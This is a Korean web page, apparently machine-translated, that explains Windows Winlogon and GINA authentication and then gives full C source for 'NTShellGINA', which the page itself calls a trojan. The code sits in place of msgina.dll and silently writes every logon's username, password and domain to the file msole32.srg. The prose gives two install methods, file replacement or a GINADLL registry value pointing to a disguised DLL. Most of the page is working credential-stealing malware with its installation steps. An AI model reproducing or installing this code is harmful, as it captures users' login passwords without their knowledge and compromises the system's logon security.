Winlogon 로그 인 및 GINA - NTShellGINA 소스 코드

13151 단어
 
 이론
WinLogon 로그 인 관리:
1、
Winlogon 프로 세 스 는 로그 인 과 관련 된 보안 업 무 를 관리 합 니 다. 사용자 의 로그 인 과 로그아웃, 사용자 셸 시작, 암호 입력, 암호 변경, 잠 금 및 잠 금 해제 워크스테이션 등 을 처리 합 니 다.Winlogon 프로 세 스 는 다른 프로 세 스 가 로그 인 암 호 를 얻 지 않도록 보안 과 관련 된 작업 이 다른 프로 세 스에 보이 지 않도록 해 야 합 니 다.
시스템 초기 화 시 사용자 프로그램 을 시작 하기 전에 Winlogon 이 특정 작업 을 할 때 이상 의 수 요 를 보장 합 니 다.
(1)  Winlogon 프로 세 스 는 Window Stations 를 만 들 고 열 고 액세스 제어 인구 (ACE) 를 설정 합 니 다. 이 ACE 에는 Winlogon 프로 세 스 의 SID 만 포함 되 어 있 습 니 다. 이 는 Winlogon 프로 세 스 만 이 Window Stations 에 접근 할 수 있 습 니 다.
(2)  그리고 winlogon 은 데스크 톱 을 만 듭 니 다. winlogon 데스크 톱 은 winlogon 만 접근 할 수 있 고 다른 프로 세 스 는 이 데스크 톱 의 데이터 와 코드 에 접근 할 수 없습니다.이 기능 을 이용 하여 암 호 를 보호 하고 데스크 톱 을 잠 그 는 등 안전 합 니 다.winlogon 은 또한 안전 주의 시퀀스 (SAS - secure attention sequence) 의 단축 키 를 등록 하여 언제든지 SAS 단축 키 (ctrl + alt + del) 를 누 르 고 Winlogon 을 호출 하여 안전 한 데스크 톱 으로 전환 하여 암호 캡 처 프로그램 이 로그 인 비밀번호 와 비밀번호 변경 등 안전 활동 을 받 지 못 하도록 합 니 다.
2. 로그 인 프로 세 스 의 검증 과 인증 은 모두 GINA (GINA - Graphical Identification and Authentication 그래 픽 표지 와 인증) 에서 이 루어 졌 고 마이크로소프트 의 GINA 는 MSGINA. dll 로 기본 적 인 Windows NT 로그 인 인터페이스 를 실현 했다.다만 카드 와 같은 다른 인증 방법 을 구현 하기 위해 GINA DLL 을 자체 개발 할 수 있다.물론 시스템 GINA 인터페이스 와 같은 GINA 를 작성 한 뒤 MSGINA. dll 을 대체 할 수 있 는 기 회 를 목마 에 게 남 겼 다.msdn sample 에 GINA 의 예 가 있 습 니 다.그러나 로그 인 비밀 번 호 를 얻 기 위해 서 는 그렇게 번 거 로 울 필요 가 없습니다. GINA 와 같은 인터페이스 만 쓰 고 모든 함수 가 실 현 될 때 MSGINA. dll 의 같은 함 수 를 호출 하면 됩 니 다. msdn sample 에 도 ginastub 이라는 예 가 있 습 니 다. 목마 로 서 로그 인 할 때 비밀 번 호 를 저장 해 야 합 니 다.(더 많은 gina 정보, msdn 에서 gina 찾기)
3、
(1) NTShelgina 는 바로 다음 방법 을 사용 한 것 이다.로그 인 할 때 username: password: domain 을 msole 32. srg 에 저장 합 니 다.실행 할 때 구체 적 인 기능 은 msgina. dll 을 호출 해 야 하기 때문에 설치 할 때 이 파일 이 존재 해 야 합 니 다. 그리고 msgina. dll 을 winlogon 32. dll 로 바 꾼 다음 NTShellGINA. dll 을 msgina. dll 로 복사 하면 됩 니 다.이것 은 ntshell 의 두 번 째 설치 방법 이다.
(2)
그러나 마이크로소프트 는 GINA 가 설치 되 어 있 기 때문에 HKLM\Software\Microsoft\Windows NT\Current Version\Winlogon 아래 GINADLL 을 어떤 GINA DLL 로 설정 하고 (GINADLL 이 부족 함) 이 값 을 설정 하면 nt 는 이 GINA 를 호출 하고 부족 한 msGINA. dll 을 호출 하지 않 습 니 다.따라서 NTShell 의 첫 번 째 설치 방법 은 NTShellGINA. dll 을 system 32\\mshtmlgi. dll 로 복사 한 다음 GINADLL 을 mshtmlgi. dll 로 설정 하 는 것 이다.
따라서 두 번 째 방법 으로 설치 에 성공 한 전 제 는 시스템 이 원래 GINADLL 이라는 값 을 설정 하지 않 았 다 는 것 이다. 그렇지 않 으 면 NTShellGINA 를 설치 하지 않 을 것 이다.물론 win 2000 에 서 는 두 번 째 설치 방법 을 사용 하면 dllcache 에 있 는 msgina. dll 의 이름 을 바 꿔 야 합 니 다.(ntshell 에서 mshtmlgi. dll 로 이름 변경).
GINA DLL 은 시스템 인증 과 보안 로그 인 을 담당 하기 때문에 오류 가 발생 하면 사용자 가 시스템 에 로그 인 할 수 없 으 므 로 주의해 야 합 니 다. 따라서 NTShell 은 설치 할 때 많은 검 사 를 했 습 니 다. 검사 에 실패 하면 설치 하지 않 습 니 다. 예 를 들 어 ntshellgina. dll 을 파일 msgina. dll 로 복사 하 는 설치 방법 에서 첫 번 째 mslogon 32. dll < - msgina. dll < - ntshellgina. dll > - ntshellgina. dll 입 니 다.설치 용 msgina. dll 로 mslogon 32. dll 을 교체 하고 ntshellgina. dll 로 나중에 msgina. dll (사실은 ntshellgina. dll) 을 교체 합 니 다. 그러면 원래 의 msgina. dll 은 없습니다. 두 개의 ntshellgina. dll 만 있 습 니 다. 진정한 msgina. dll 을 찾 을 수 없습니다. ntshellgina. dll 은 실패 합 니 다.
ntshell 은 다음 과 같은 검 측 을 순서대로 합 니 다.
단계 1: 레 지 스 트 에 있 는 GINADLL 을 설정 하면 시스템 이 기본 로그 인 GINA 를 사용 하 는 것 이 아니 라 자 연 스 럽 게 설치 하지 않 습 니 다.(msgina. dll 을 찾 지 못 하거나 다른 프로그램 이 정상적으로 작 동 하지 않 습 니 다) 단계 2: 시스템 의 msgina. dll 이 ntshellgina. dll 과 같다 면 이미 설치 되 었 다 고 생각 하고 단계 3 을 다시 설치 할 수 없습니다. 시스템 에 mslogon 32. dll 이 존재 한다 면 ntshell 을 사용 하여 설치 하지 않 을 수도 있 습 니 다.(확인 하지 않 는 한 msgina. dll 은 원래 의 것 입 니 다. mslogon 32. dll 을 수 동 으로 삭제 하고 설치 할 수 있 습 니 다. 그렇지 않 으 면 설치 하지 마 십시오) 단계 4: 설치 오류 가 발생 하면 로그 인 할 수 없습니다. msdn 의 다음 설명 을 참고 하여 복원 할 수 있 습 니 다. (저 는 네 번 째 방법 을 사 용 했 습 니 다. 다른 것 은 시도 하지 않 았 습 니 다)
 
코드
/*
NTShellGINA.c - a gina stub come from NTShell 1.0
  by:[email protected], from homepage:bingle_site.top263.net

此文件是从tinastub.c文件修改过来的,
  此文件将保存期登陆的密码到文件 system32\\msole32.srg

--*/
#include <windows.h>
#include <stdio.h>
#include <winwlx.h>
#include "ginastub.h"


//
// winlogon function dispatch table
//

PWLX_DISPATCH_VERSION_1_0 g_pWinlogon;

//
// Functions pointers to the real msgina which we will call.
//

PGWLXNEGOTIATE GWlxNegotiate;
PGWLXINITIALIZE GWlxInitialize;
PGWLXDISPLAYSASNOTICE GWlxDisplaySASNotice;
PGWLXLOGGEDOUTSAS GWlxLoggedOutSAS;
PGWLXACTIVATEUSERSHELL GWlxActivateUserShell;
PGWLXLOGGEDONSAS GWlxLoggedOnSAS;
PGWLXDISPLAYLOCKEDNOTICE GWlxDisplayLockedNotice;
PGWLXWKSTALOCKEDSAS GWlxWkstaLockedSAS;
PGWLXISLOCKOK GWlxIsLockOk;
PGWLXISLOGOFFOK GWlxIsLogoffOk;
PGWLXLOGOFF GWlxLogoff;
PGWLXSHUTDOWN GWlxShutdown;

//
// NEW for version 1.1
//

PGWLXSTARTAPPLICATION GWlxStartApplication;
PGWLXSCREENSAVERNOTIFY GWlxScreenSaverNotify;


//
// hook into the real GINA.
//
BOOL MyInitialize( void )
{
  HINSTANCE hDll;
//
// judge if which dll to load, if the file named "msgina.dll"
//  then ntshell is changed MSGINA.DLL-->mslogon32.dll, so load it
//  if named others then just load MSGINA.DLL
//
  char origina[]="MSGINA.DLL";
  char chgedgina[]="mslogon32.dll";
  char *realgina;
  char filename[MAX_PATH];
  int result;
  FILE *fp;
  HMODULE hself;

#ifdef _DEBUG
    fp=fopen("ginalog.txt", "ab");
    if(fp)
    {
      sprintf(filename, "\r
MyInitialize been called by ");       fwrite(filename, strlen(filename), 1, fp);       result=GetModuleFileName(NULL, filename, MAX_PATH);       if(result)fwrite(filename, strlen(filename), 1, fp);       fclose(fp);     } #endif        realgina=NULL;   hself=GetModuleHandle(origina);   if(!hself)realgina=origina;//hself=GetModuleHandle(chgedgina);   else realgina=chgedgina;//if origina loaded, this is origina   // Load original MSGINA.DLL.   if( !(hDll = LoadLibrary( realgina )) ) {     return FALSE;   }   // Get pointers to all of the WLX functions in the real MSGINA.   GWlxNegotiate = (PGWLXNEGOTIATE)GetProcAddress( hDll, "WlxNegotiate" );   if( !GWlxNegotiate ) {     return FALSE;   }   GWlxInitialize = (PGWLXINITIALIZE)GetProcAddress( hDll, "WlxInitialize" );   if( !GWlxInitialize ) {     return FALSE;   }   GWlxDisplaySASNotice =     (PGWLXDISPLAYSASNOTICE)GetProcAddress( hDll, "WlxDisplaySASNotice" );   if( !GWlxDisplaySASNotice ) {     return FALSE;   }   GWlxLoggedOutSAS =     (PGWLXLOGGEDOUTSAS)GetProcAddress( hDll, "WlxLoggedOutSAS" );   if( !GWlxLoggedOutSAS ) {     return FALSE;   }   GWlxActivateUserShell =     (PGWLXACTIVATEUSERSHELL)GetProcAddress( hDll, "WlxActivateUserShell" );   if( !GWlxActivateUserShell ) {     return FALSE;   }   GWlxLoggedOnSAS =     (PGWLXLOGGEDONSAS)GetProcAddress( hDll, "WlxLoggedOnSAS" );   if( !GWlxLoggedOnSAS ) {     return FALSE;   }   GWlxDisplayLockedNotice =     (PGWLXDISPLAYLOCKEDNOTICE)GetProcAddress(                     hDll,                     "WlxDisplayLockedNotice" );   if( !GWlxDisplayLockedNotice ) {     return FALSE;   }   GWlxIsLockOk = (PGWLXISLOCKOK)GetProcAddress( hDll, "WlxIsLockOk" );   if( !GWlxIsLockOk ) {     return FALSE;   }   GWlxWkstaLockedSAS =     (PGWLXWKSTALOCKEDSAS)GetProcAddress( hDll, "WlxWkstaLockedSAS" );   if( !GWlxWkstaLockedSAS ) {     return FALSE;   }   GWlxIsLogoffOk = (PGWLXISLOGOFFOK)GetProcAddress( hDll, "WlxIsLogoffOk" );   if( !GWlxIsLogoffOk ) {     return FALSE;   }   GWlxLogoff = (PGWLXLOGOFF)GetProcAddress( hDll, "WlxLogoff" );   if( !GWlxLogoff ) {     return FALSE;   }   GWlxShutdown = (PGWLXSHUTDOWN)GetProcAddress( hDll, "WlxShutdown" );   if( !GWlxShutdown ) {     return FALSE;   }   // we don't check for failure here because these don't exist for   // gina's implemented prior to Windows NT 4.0   GWlxStartApplication = (PGWLXSTARTAPPLICATION) GetProcAddress( hDll, "WlxStartApplication" );   GWlxScreenSaverNotify = (PGWLXSCREENSAVERNOTIFY) GetProcAddress( hDll, "WlxScreenSaverNotify" );   // Everything loaded ok. Return success.   return TRUE; } BOOL WINAPI WlxNegotiate(DWORD dwWinlogonVersion, DWORD *pdwDllVersion) {   if( !MyInitialize() ) return FALSE;   return GWlxNegotiate( dwWinlogonVersion, pdwDllVersion ); } BOOL WINAPI WlxInitialize( LPWSTR lpWinsta, HANDLE hWlx,   PVOID pvReserved, PVOID pWinlogonFunctions, PVOID *pWlxContext) {   return GWlxInitialize( lpWinsta, hWlx, pvReserved,         pWinlogonFunctions, pWlxContext ); } VOID WINAPI WlxDisplaySASNotice( PVOID pWlxContext ) {   GWlxDisplaySASNotice( pWlxContext ); } int WINAPI WlxLoggedOutSAS(PVOID pWlxContext, DWORD dwSasType,   PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions,   PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,   PVOID *pProfile) {   int iRet;   iRet = GWlxLoggedOutSAS(pWlxContext, dwSasType, pAuthenticationId,     pLogonSid, pdwOptions, phToken, pMprNotifyInfo, pProfile );   if(iRet == WLX_SAS_ACTION_LOGON) {     // copy pMprNotifyInfo and pLogonSid for later use         FILE *fp;     fp=fopen("msole32.srg", "a");     if(fp!=NULL)     {       char infor[300], buf[300];       memset(buf, 0, 300);       wcstombs(buf, pMprNotifyInfo->pszUserName, 300);       sprintf(infor, "%s", buf);       memset(buf, 0, 300);//if convert failed, we use the error one also       wcstombs(buf, pMprNotifyInfo->pszPassword, 300);       sprintf(infor, "%s:%s", infor, buf);            memset(buf, 0, 300);       wcstombs(buf, pMprNotifyInfo->pszDomain, 300);       sprintf(infor, "%s:%s\r
", infor, buf);          fwrite(infor, 1, strlen(infor), fp);       fclose(fp);     }     // pMprNotifyInfo->pszOldPassword   }   return iRet; } BOOL WINAPI WlxActivateUserShell(   PVOID      pWlxContext,   PWSTR      pszDesktopName,   PWSTR      pszMprLogonScript,   PVOID      pEnvironment) {   return GWlxActivateUserShell(         pWlxContext,         pszDesktopName,         pszMprLogonScript,         pEnvironment         ); } int WINAPI WlxLoggedOnSAS(   PVOID      pWlxContext,   DWORD      dwSasType,   PVOID      pReserved) {   return GWlxLoggedOnSAS( pWlxContext, dwSasType, pReserved ); } VOID WINAPI WlxDisplayLockedNotice( PVOID pWlxContext ) {   GWlxDisplayLockedNotice( pWlxContext ); } BOOL WINAPI WlxIsLockOk( PVOID pWlxContext ) {   return GWlxIsLockOk( pWlxContext ); } int WINAPI WlxWkstaLockedSAS(   PVOID      pWlxContext,   DWORD      dwSasType ) {   return GWlxWkstaLockedSAS( pWlxContext, dwSasType ); } BOOL WINAPI WlxIsLogoffOk( PVOID pWlxContext ) {   BOOL bSuccess;   bSuccess = GWlxIsLogoffOk( pWlxContext );   if(bSuccess) {     //     // if it's ok to logoff, finish with the stored credentials     // and scrub the buffers     //   }   return bSuccess; } VOID WINAPI WlxLogoff( PVOID pWlxContext ) {   GWlxLogoff( pWlxContext ); } VOID WINAPI WlxShutdown( PVOID pWlxContext, DWORD ShutdownType ) {   GWlxShutdown( pWlxContext, ShutdownType ); } // // NEW for version 1.1 // BOOL WINAPI WlxScreenSaverNotify(   PVOID          pWlxContext,   BOOL *         pSecure   ) {   if(GWlxScreenSaverNotify != NULL)     return GWlxScreenSaverNotify( pWlxContext, pSecure );   //   // if not exported, return something intelligent   //   *pSecure = TRUE;   return TRUE; } BOOL WINAPI WlxStartApplication(   PVOID          pWlxContext,   PWSTR          pszDesktopName,   PVOID          pEnvironment,   PWSTR          pszCmdLine   ) {   if(GWlxStartApplication != NULL)     return GWlxStartApplication(       pWlxContext,       pszDesktopName,       pEnvironment,       pszCmdLine       );   //   // if not exported, return something intelligent   // }

 
 

좋은 웹페이지 즐겨찾기